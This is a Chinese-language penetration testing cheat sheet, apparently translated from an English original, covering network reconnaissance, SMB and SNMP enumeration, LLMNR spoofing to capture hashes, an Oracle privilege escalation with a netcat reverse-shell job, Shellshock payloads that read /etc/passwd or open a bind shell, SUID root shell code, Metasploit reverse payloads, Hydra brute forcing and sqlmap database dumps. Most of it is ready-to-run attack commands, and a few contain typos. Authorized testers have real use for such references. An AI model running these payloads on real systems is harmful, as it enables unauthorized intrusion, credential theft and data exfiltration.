渗透测试工具 备忘录 -跳跃攻击-DNS爆破

渗透测试工具

渗透测试工具 暗网浏览器8.0

简介

渗透测试工具备忘录记录渗透测试时常用的命令，更深入的信息推荐参考特定工具的帮助文档或 本站 其他备忘录。

本目录关注网络底层相关的渗透测试，除了少量sqlmap的命令和一些Web服务枚举外，基本不包含Web应用渗透测试的内容。关于Web应用测试，建议参考《黑客攻防技术宝典》，这本书不管是用作专门学习还是参考手册都是很棒的。

文中缺漏之处欢迎 推特 私戳。

更新日志：

17/02/2017 ：更新文章，增加VPN，DNS隧道，VLAN hopping（跳跃攻击） 等内容。

开始前

网络配置

设置IP 地址

ifconfig eth0 xxx.xxx.xxx.xxx/24

子网划分

ipcalc xxx.xxx.xxx.xxx/24 
ipcalc xxx.xxx.xxx.xxx 255.255.255.0

公开来源情报

被动信息收集

DNS

WHOIS 枚举

whois domain-name-here.com

查询DNS IP

dig a domain-name-here.com @nameserver

查询MX记录

dig mx domain-name-here.com @nameserver

用DIG 查询域传送

dig axfr domain-name-here.com @nameserver

DNS 域传送

邮件

Simply Email

使用Simply Email枚举所有所有网站（GitHub，目标站点等），配上代理或设置较长的访问间隔时间，这样就不会被Google发现是爬虫并用验证码拦住了。Simply Email还可以验证收集的邮件地址。

git clone https://github.com/killswitch-GUI/SimplyEmail.git
./SimplyEmail.py -all -e TARGET-DOMAIN

半主动信息收集

基本指纹识别

手动指纹识别/banner抓取

使用NC抓取banner

nc TARGET-IP 80
GET / HTTP/1.1
Host: TARGET-IP
User-Agent: Mozilla/5.0
Referrer: meh-domain
<enter>

主动信息收集

DNS 爆破

DNSRecon

端口扫描

Nmap命令

更多命令，详见 Nmap备忘录 。

基本Nmap 命令：

别在外网采用T4 扫描，使用TCP 连接扫描时用T2 比较合适。T4 扫描用在低延迟高带宽的内部网络测试会更合适。但这也取决于目标设备，如果用T4/T5 扫他们，结果就可能不准确。总的来说，扫描越慢越好，也可以先快速扫描1000个目标方便上手测试，然后再慢慢扫其余的。

Nmap UDP扫描

nmap -sU TARGET

UDP 协议扫描器

git clone https://github.com/portcullislabs/udp-proto-scanner.git

扫描文件中IP地址的所有服务

./udp-protocol-scanner.pl -f ip.txt

扫描特定UDP服务

udp-proto-scanner.pl -p ntp -f ips.txt

其他主机发现

不使用nmap发现主机的方法：

枚举和攻击网络服务

用于识别/枚举网络服务的工具。

SAMB / SMB / Windows 域枚举

Samba枚举

SMB枚举工具

nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target

当然也可参考本站的 nbtscan 的速查表

SMB 版本指纹识别

smbclient -L //192.168.1.100

寻找开放的SMB共享

nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 192.168.1.0/24

枚举SMB用户

nmap -sU -sS --script=smb-enum-users -p U:137,T:139 192.168.11.200-254

python /usr/share/doc/python-impacket-doc/examples/samrdump.py 192.168.XXX.XXX

RID循环（RID Cycling ）

ridenum.py 192.168.XXX.XXX 500 50000 dict.txt

Metasploit的RID循环攻击模块

use auxiliary/scanner/smb/smb_lookupsid

手动测试空会话

Windows:
net use \\TARGET\IPC$ "" /u:""

Linux:
smbclient -L //192.168.99.131

NBTScan unixwiz

在Kali上安装使用：

apt-get install nbtscan-unixwiz 
nbtscan-unixwiz -f 192.168.0.1-254 > nbtscan

LLMNR / NBT-NS欺骗

从网络中窃取凭证

使用Metasploit进行 LLMNR / NetBIOS请求

欺骗/毒化 LLMNR / NetBIOS请求：

auxiliary/spoof/llmnr/llmnr_response
auxiliary/spoof/nbns/nbns_response

抓取哈希

auxiliary/server/capture/smb
auxiliary/server/capture/http_ntlm

最后会得到NTLMv2 哈希，可以使用john或者hashcat破解。

Responder.py

你也可以选择使用 responder

git clone https://github.com/SpiderLabs/Responder.git
python Responder.py -i local-ip -I eth0

注：整个渗透测试过程可以一直允许Responder.py

SNMP枚举工具

SNMP枚举工具有很多。

美化SNMP输出结果使易于阅读。

apt-get install snmp-mibs-downloader download-mibs
echo "" > /etc/snmp/snmp.conf

SNMPv3枚举工具

使用nmap识别SNMPv3服务器

nmap -sV -p 161 --script=snmp-info TARGET-SUBNET

Rory McCune 的脚本可以帮助自动化枚举SNMPv3的用户名枚举。

apt-get install snmp snmp-mibs-downloader
wget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb

注意：下面的路径是Kali上Metasploit的SNMP v1和v2的攻击字典，更新的字典可以参考Daniel Miessler 在GitHub上的安全列表 。

/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt

远程服务枚举

这已是老生常谈，但为了本文内容的全面还是包含如下。

nmap -A 会进行下面列举的所有远程服务的枚举，所以这里只是顺便提及。

RSH 枚举

RSH运行命令

rsh <target> <command>

MetasploitRSH 登陆扫描

auxiliary/scanner/rservices/rsh_login

使用rusers显示已登陆用户

rusers -al 192.168.2.1

使用rlogin扫描整个子网

rlogin -l <user> <target>
e.g rlogin -l root TARGET-SUBNET/24

使用finger枚举

finger @TARGET-IP
finger batman@TARGET-IP

利用Solaris的bug显示所有已登录用户

finger 0@host  

SunOS: RPC services allow user enum:
$ rusers # users logged onto LAN

finger 'a b c d e f g h'@sunhost

rwho

使用nmap识别运行rwhod服务（513端口，UDP协议）的机器。

TLS&SSL 测试

testssl.sh

测试单一主机并将结果输出的HTML文件：

./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U TARGET-HOST | aha > OUTPUT-FILE.html

漏洞评估

在Kali Rolling上安装OpenVAS 8

apt-get update
apt-get dist-upgrade -y
apt-get install openvas
openvas-setup

确认openvas 正在运行：

netstat -tulpn

通过https://127.0.0.1:9392 登陆openvas，密码是在安装时设置好的。

数据库渗透测试

攻击暴露在互联网上的数据库。

Oracle

安装 oscanner：

apt-get install oscanner

运行 oscanner：

oscanner -s 192.168.1.200 -P 1521

Oracle TNS版本指纹识别

安装 tnscmd10g ：

apt-get install tnscmd10g

识别：

tnscmd10g version -h TARGET
nmap --script=oracle-tns-version

爆破Oracle账户

验证默认账户

nmap --script=oracle-sid-brute 
 nmap --script=oracle-brute

对Oracle TNS 运行nmap脚本：

nmap -p 1521 -A TARGET

Oracle权限提升

利用条件：

• Oracle必须暴露在互联网上
• 使用默认账户，如scott

简明流程：

• 创建函数
• 创建表 SYS.DUAL 的索引
• 刚刚建立的索引执行了SCOTT.DBA_X 函数
• 函数是被SYS用户执行的，因为表 SYS.DUAL 属于SYS用户
• 创建具有DBA权限的账户

下面的展示使用SCOTT用户，但其他默认的Oracle用户也是可以的。

使用NMAP NSE脚本验证oracle数据库中的默认账户：

nmap --script=oracle-sid-brute 
nmap --script=oracle-brute

使用脆弱账号登陆（假设你发现了一个）。

确认一个oracle用户的权限级别

SQL> select * from session_privs; 

SQL> CREATE OR REPLACE FUNCTION GETDBA(FOO varchar) return varchar deterministic authid 
curren_user is 
pragma autonomous_transaction; 
begin 
execute immediate 'grant dba to user1 identified by pass1';
commit;
return 'FOO';
end;

Oracle权限提升和访问DBA

运行netcat，netcat -nvlp 443 。

SQL> create index exploit_1337 on SYS.DUAL(SCOTT.GETDBA('BAR'));

运行查询语句

SQL> Select * from session_privs;

这时你应该拥有一个DBA用户，可以重新运行上面的命令来验证自己是否拥有DBA特权。

移除利用痕迹：

drop index exploit_1337;

获取Oracle反弹shell：

begin
dbms_scheduler.create_job( job_name    => 'MEH1337',job_type    =>
    'EXECUTABLE',job_action => '/bin/nc',number_of_arguments => 4,start_date =>
    SYSTIMESTAMP,enabled    => FALSE,auto_drop => TRUE); 
dbms_scheduler.set_job_argument_value('rev_shell', 1, 'TARGET-IP');
dbms_scheduler.set_job_argument_value('rev_shell', 2, '443');
dbms_scheduler.set_job_argument_value('rev_shell', 3, '-e');
dbms_scheduler.set_job_argument_value('rev_shell', 4, '/bin/bash');
dbms_scheduler.enable('rev_shell'); 
end;

MSSQL

枚举/发现

Nmap

nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156

Metasploit

msf > use auxiliary/scanner/mssql/mssql_ping

爆破 MSSQL登陆

msf > use auxiliary/admin/mssql/mssql_enum

Metasploit MSSQL Shell

msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp

网络

Plink.exe 隧道

PuTTY Link 隧道

转发运程端口到本地地址：

plink.exe -P 22 -l root -pw "1337" -R 445:127.0.0.1:445 REMOTE-IP

跳板（Pivoting）

SSH 跳板（ssh Pivoting）

ssh -D 127.0.0.1:1010 -p 22 user@pivot-target-ip

需在/etc/proxychains.conf 添加sock4 127.0.0.1 1010

利用SSH跳板跨越网络

ssh -D 127.0.0.1:1010 -p 22 user1@ip-address-1

需在/etc/proxychains.conf 添加sock4 127.0.0.1 1010

proxychains ssh -D 127.0.0.1:1011 -p 22 user1@ip-address-2

在/etc/proxychains.conf 添加sock4 127.0.0.1 1011

Meterpreter Pivoting

TTL 指纹识别

IPv4 速查

各类IP的地址范围

IPv4私有地址

IPv4子网速查表

和渗透测试关系不太大，但确实很有用。

VLAN hopping（跳跃攻击）

使用nccgroup 的脚本简化攻击过程

git clone https://github.com/nccgroup/vlan-hopping.git
chmod 700 frogger.sh
./frogger.sh

VPN测试工具

识别VPN服务器

./udp-protocol-scanner.pl -p ike TARGET(s)

扫描VPN服务器网段：

./udp-protocol-scanner.pl -p ike -f ip.txt

IKEForce

使用IKEForce枚举或对 VPN 服务器进行字典攻击.

安装:

pip install pyip
git clone https://github.com/SpiderLabs/ikeforce.git

使用IKEForce对IKE VPN 进行枚举：

./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic

使用 IKEForce 爆破 IKE VPN:

./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1

ike-scan
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key

IKE 激进模式 PSK 破解

1. 验证VPN服务器
2. 使用 IKEForce 枚举来获得组ID
3. 使用 ike-scan 从IKE 终端抓取 PSK 哈希
4. 使用 psk-crack 破解哈希

Step 1: 验证IKE服务器

./udp-protocol-scanner.pl -p ike SUBNET/24

Step 2:使用IKEForce枚举组名

./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic

Step 3: 使用ike-scan抓取PSK哈希

ike-scan –M –A –n example_group -P hash-file.txt TARGET-IP

Step 4: 使用psk-crack 破解PSK 哈希

psk-crack hash-file.txt

高级psk-crack 选项:

pskcrack
psk-crack -b 5 TARGET-IPkey
psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
psk-crack -d /path/to/dictionary-file TARGET-IP-key

PPTP Hacking

验证PPTP服务 ，它以TCP协议在1723端口监听

NMAP PPTP 指纹识别:

nmap –Pn -sV -p 1723 TARGET(S)

PPTP字典攻击

thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst

DNS 隧道

通过DNS传送数据来绕过防火墙。dns2cat支持和目标主机间 的上传和下载文件（数据或程序）操作。

攻击机器：

安装:

apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install

运行dnscat2:

ruby ./dnscat2.rb
dnscat2> New session established: 1422
dnscat2> session -i 1422

目标机器:

https://downloads.skullsecurity.org/dnscat2/

https://github.com/lukebaggett/dnscat2-powershell/

dnscat --host <dnscat server_ip>

BOF / Exploit

Exploit 搜索

寻找枚举主机/服务的exp

搜索EXP

安装exploit-db的本地备份:

searchsploit –u
 searchsploit apache 2.2
 searchsploit "Linux Kernel"
 searchsploit linux 2.6 | grep -i ubuntu | grep local

在Kali上编译WIndows的exp

wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
wine mingw-get-setup.exe
select mingw32-base
cd /root/.wine/drive_c/windows
wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
wine ability.exe

交叉编译Exploits

gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)

利用通用漏洞

利用Shellshock漏洞

一个用来寻找和利用Shellshock漏洞的攻击

git clone https://github.com/nccgroup/shocker

./shocker.py -H TARGET  --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose

cat file (查看文件内容)

echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80

Shell Shock 运行bind shell

echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80

Shell Shock 反弹shell

nc -l -p 443

简单的本地Web服务器

使用Python命令运行本地Web服务，在接受反向shell和攻击目标机器是很方便。

挂载文件共享

怎样挂载 NFS / CIFS以进行 Windows 和Linux 的文件共享。

mount -t cifs -o username=user,password=pass,domain=blah //192.168.1.X/share-name /mnt/cifs

net use Z: \\win-server\share password /user:domain\janedoe /savecred /p:no

HTTP / HTTPS Web服务枚举

数据包侦测

tcpdump tcp port 80 -w output.pcap -i eth0

用户名枚举

一些用来枚举目标系统用户名的手法。

SMB 用户枚举

python /usr/share/doc/python-impacket-doc/examples/samrdump.py 192.168.XXX.XXX

ridenum.py 192.168.XXX.XXX 500 50000 dict.txt

SNMP 用户枚举

snmpwalk public -v1 192.168.X.XXX 1 | grep 77.1.2.25 | cut -d” “ -f4 | 枚举 SNMP 用户

python /usr/share/doc/python-impacket-doc/examples/samrdump.py SNMP 192.168.X.XXX

nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt (then grep)

密码

字典

爆破服务

使用Hydra 爆破FTP

hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX ftp -V

使用Hydra 爆破POP3

hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX pop3 -V

使用Hydra 爆破SMTP

hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V

使用 -t 限制并发连接数，如 -t 15

密码破解

渗透测试中用于密码破解的工具。

John The Ripper – JTR

john --wordlist=/usr/share/wordlists/rockyou.txt hashes

john --format=descrypt --wordlist /usr/share/wordlists/rockyou.txt hash.txt

john --format=descrypt hash --show

Windows 渗透测试命令

See Windows Penetration Testing Commands.【待原文补充】

Linux 渗透测试命令

参考本站的Linux 命令速查表 ，该表提供了很多有用的命令。

编译EXP

Some notes on compiling exploits.【待原文补充】

判断C代码适用于Windows平台还是Linux

通过#include 的文件来判定

process.h, string.h, winbase.h, windows.h, winsock2.h

arpa/inet.h, fcntl.h, netdb.h, netinet/in.h, sys/sockt.h, sys/types.h, unistd.h

使用GCC编译Exploit

在64位的Kali上用GCC编译32位的EXP

很方便地在64位的攻击机器上交叉编译32位的二进制文件。

在 Linux上编译可运行于Windows的exe文件

i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe

SUID 二进制

通常具有SUID的 C二进制文件要求以超级用户登陆shell，您可以按需更新UID / GID和shell。

下面是一些可用的shell：

运行 /bin/bash的SUID C Shell

int main(void){
       setresuid(0, 0, 0);
       system("/bin/bash");
}

运行 /bin/sh的SUID C Shell

int main(void){
       setresuid(0, 0, 0);
       system("/bin/sh");
}

构建 SUID Shell 二进制

gcc -o suid suid.c

32位

gcc -m32 -o suid suid.c

反向Shells

参考 反向 Shell 速查表 。

TTY Shells  渗透测试工具

Tips / Tricks to spawn a TTY shell from a limited shell in Linux, useful for running commands like sufrom reverse shells.

一些模拟出TTY终端窗口以突破shell限制的技巧，便于从反向shell上执行类似 su 的特殊命令。

用Python模拟 TTY Shell的技巧

python -c 'import pty;pty.spawn("/bin/bash")'

echo os.system('/bin/bash')

用sh模拟交互式shell

/bin/sh -i

用Perl模拟 TTY Shell

exec "/bin/sh";
perl —e 'exec "/bin/sh";'

用Ruby模拟 TTY Shell

exec "/bin/sh"

用Lua 模拟TTY Shell

os.execute('/bin/sh')

从Vi模拟TTY Shell

:!bash

用NMAP模拟TTY Shell

!sh

Metasploit 速查表

这是一个metasploit方便的速查手册。关于跳板技术可参看 Meterpreter Pivoting 。

Meterpreter Payloads

Windows 反向meterpreter payload

set payload windows/meterpreter/reverse_tcp

Windows VNC Meterpreter payload

set payload windows/vncinject/reverse_tcp``set ViewOnly false

Linux 反向Meterpreter payload

set payload linux/meterpreter/reverse_tcp

Meterpreter速查表

有用的meterpreter 命令。

常用Metasploit 模块

最常用的metasploit 模块。

远程Windows Metasploit 模块(exploits)

use exploit/windows/smb/ms08_067_netapi

use exploit/windows/dcerpc/ms06_040_netapi

use exploit/windows/smb/ms09_050_smb2_negotiate_func_index

本地Windows Metasploit 模块(exploits)

辅助Metasploit 模块 渗透测试工具

Metasploit Powershell 模块

post/windows/manage/powershell/exec_powershell

use exploit/multi/http/jboss_maindeployer

use exploit/windows/mssql/mssql_payload

Windows 后渗透Metasploit 模块

Windows Metasploit 提权模块。

run post/windows/gather/local_admin_search_enum

ASCII表速查 渗透测试工具

对Web应用渗透测试很有用，或者你被困在火星而需要和NASA通信。（梗自《火星救援》）

CISCO IOS(网际操作系统) 命令

收集一些有用的Cisco IOS 命令.

密码学

哈希长度 渗透测试工具

哈希例子

可以直接使用 hash-identifier 命令判断哈希类型，但这里还是举些例子。

8743b52063cd84097a65d1633f5c74f5

01dfae6e5d4d90d9892622325959afbe:7050461

f0fda58630310a6dd91a7d8f0a4ceda2:4225637426

b89eaac7e61417341b710b727768294d0e6a277b

2fc5a684737ce1bf7b3b239df432416e0dd07357:2014

cac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024

127e6fbfe24a750e72930c220a8e138275656b8e5d8f48a98c3c92df2caba935

c73d08de890479518ed60cf670d17faa26a4a71f995c1dcc978165399401a6c4

eb368a2dfd38b405f014118c7d9747fcc97f4f0ee75c05963cd9da6ee65ef498:560407001617

82a9dda829eb7f8ffe9fbe49e45d47d2dad9664fbb7adf72492e3c81ebd3e29134d9bc12212bf83c6840f10e8246b9db54a4859b7ccd0123d86e5872c1e5082f

e5c3ede3e49fb86592fb03f471c35ba13e8d89b8ab65142c9a8fdafb635fa2223c24e5558fd9313e8995019dcbec1fb584146b7bb12685c7765fc8c0d51379fd

976b451818634a1e2acba682da3fd6efa72adf8a7a08d7939550c244b237c72c7d42367544e826c0c83fe5c02f97c0373b6b1386cc794bf0d21d2df01bb9c08a

b4b9b02e6f09a9bd760f388b67351e2b

SQLMap例子

小型 SQLMap 速查表： 渗透测试工具

sqlmap -u meh.com --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3

sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read="/var/www/blah.php"

sqlmap -u "meh.com/meh.php?id=1" --dbms=mysql --tech=U --random-agent --dump

sqlmap -o -u "meh.com/form/" --forms

sqlmap -o -u "http://meh/vuln-form" --forms -D database-name -T users --dump